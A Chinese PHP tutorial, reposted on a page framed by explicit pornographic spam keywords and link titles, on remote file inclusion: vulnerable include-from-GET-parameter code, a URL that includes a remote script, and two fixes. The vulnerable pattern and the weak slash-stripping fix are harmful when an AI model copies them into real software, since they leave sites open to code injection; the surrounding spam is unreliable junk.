天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

PHP 網(wǎng)絡開發(fā)詳解之遠程文件包含漏洞

以下代碼(Code)實現(xiàn)了根據(jù)瀏覽器地址欄參數(shù)的文件名稱包含不同文件的功能。
復制代碼 代碼如下:
<?php
$file_name = $_GET["filename"]; //獲得當前文件名
include("$file_name "); //包含文件
//一些其他操作
?>

這時,通過在地址欄上指定不同的文件名就可以實現(xiàn)包含不同文件并執(zhí)行的功能。例如,通過在瀏覽器上訪問http://localhost/test.php?filename=myinc.php就可以在代碼(Code)中包含并執(zhí)行myinc.php文件。
由于上面的代碼(Code)沒有進行任何錯誤處理,在瀏覽器上不加參數(shù)運行,所以將得到以下運行結果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:/Program Files/xampp/htdocs/Bugs/test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:/Program Files/xampp/php/pear/') in C:/Program Files/xampp/htdocs/Bugs/test6.php on line 3
訪問者通過讀取這段錯誤信息,可以得知當前的操作是一個文件包含操作。這時,可以在自己的服務器上放置一個相應的腳本代碼。需要注意的是php在獲取遠程文件時獲得的是遠程服務器的最終輸出結果,而不是文件本身。該腳本代碼位于192.168.0.1服務器上,文件名為hello.txt,腳本代碼(Code)如下所示。
復制代碼 代碼如下:
<?php
echo "hello world!";
?>

這時,通過在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以運行hello.txt中的腳本了。
為了解決這個問題,一種方式是完善代碼的錯誤信息,使訪問者無法知道當前腳本正在包含參數(shù)中指定的文件。修改后的代碼(Code)如下所示。
復制代碼 代碼如下:
<?php
$file_name = $_GET["filename"]; //獲得當前文件名
if(!@include("$file_name.php")) //包含文件
{
die("頁面在瀏覽過程中出現(xiàn)錯誤");
}
//一些其他操作
?>

修改后,如果在被包含的文件無法找到時將出現(xiàn)“頁面在瀏覽過程中出現(xiàn)錯誤”的錯誤信息,訪問者將無法獲得當前頁面的具體操作信息。
第二種方式可以更加有效地防止遠程文件包含攻擊。方式是替換地址欄參數(shù)中的斜線“/”。這樣,在地址欄參數(shù)中輸入遠程文件地址時,代碼將無法正確地獲得參數(shù)。修改后的代碼(Code)如下所示。
復制代碼 代碼如下:
<?php
$file_name = str_replace('/', '', $_GET["filename"]); //獲得當前文件名
if(!@include("$file_name.php")) //包含文件
{
die("頁面在瀏覽過程中出現(xiàn)錯誤");
}
//一些其他操作
?>

這樣,在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt 時,實際上php代碼(Code)獲得的包含文件名稱是http:192.168.0.1bugstest6_test。頁面將不會包含遠程文件,并顯示相應的錯誤信息。

php技術PHP 網(wǎng)絡開發(fā)詳解之遠程文件包含漏洞,轉(zhuǎn)載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 我和妽妽在厨房里的激情区二区 | 电影内射视频免费观看 | 午夜一区欧美二区高清三区 | 欧美日韩中文国产一区发布 | 亚洲欧洲一级 | 高清视频在线观看SEYEYE | 2020年国产精品午夜福利在线观看 | 中国少妇内射XXXX狠干 | 国产成人啪精品视频免费网 | 91伊人久久大香线蕉 | 久久午夜免费视频 | 啦啦啦 中文 日本 韩国 免费 | 中文字幕亚洲男人的天堂网络 | 免费人成在线观看网站视频 | 蜜柚视频高清在线 | 香蕉视频国产精品 | 国产在线精彩亚洲久久 | 成人毛片一区二区三区 | 国产亚洲精品久久久久久鸭绿欲 | 手机在线亚洲日韩国产 | 国产人成高清在线视频99 | 久久视频精品38线视频在线观看 | 国产高清国内精品福利色噜噜 | 欧美成人无码A区在线观看免费 | 伊人亚洲综合网色 | 色狼亚洲色图 | 国产专区_爽死777 | 亚洲精品AV一二三区无码 | 成人国产亚洲精品A区天堂蜜臀 | 乱xxxjapanese黑人| 久久综合电影 | PORN白嫩内射合集 | 97精品一区二区视频在线观看 | 最近韩国日本免费观看mv免费版 | 国内精品久久 | 蜜臀AV色欲A片无码一区 | 久久99综合国产精品亚洲首页 | 呻吟翘臀后进爆白浆 | 里番※琉璃全彩acg奈亚子 | 国色精品VA在线观看免费视频 | 強姧伦久久久久久久久 |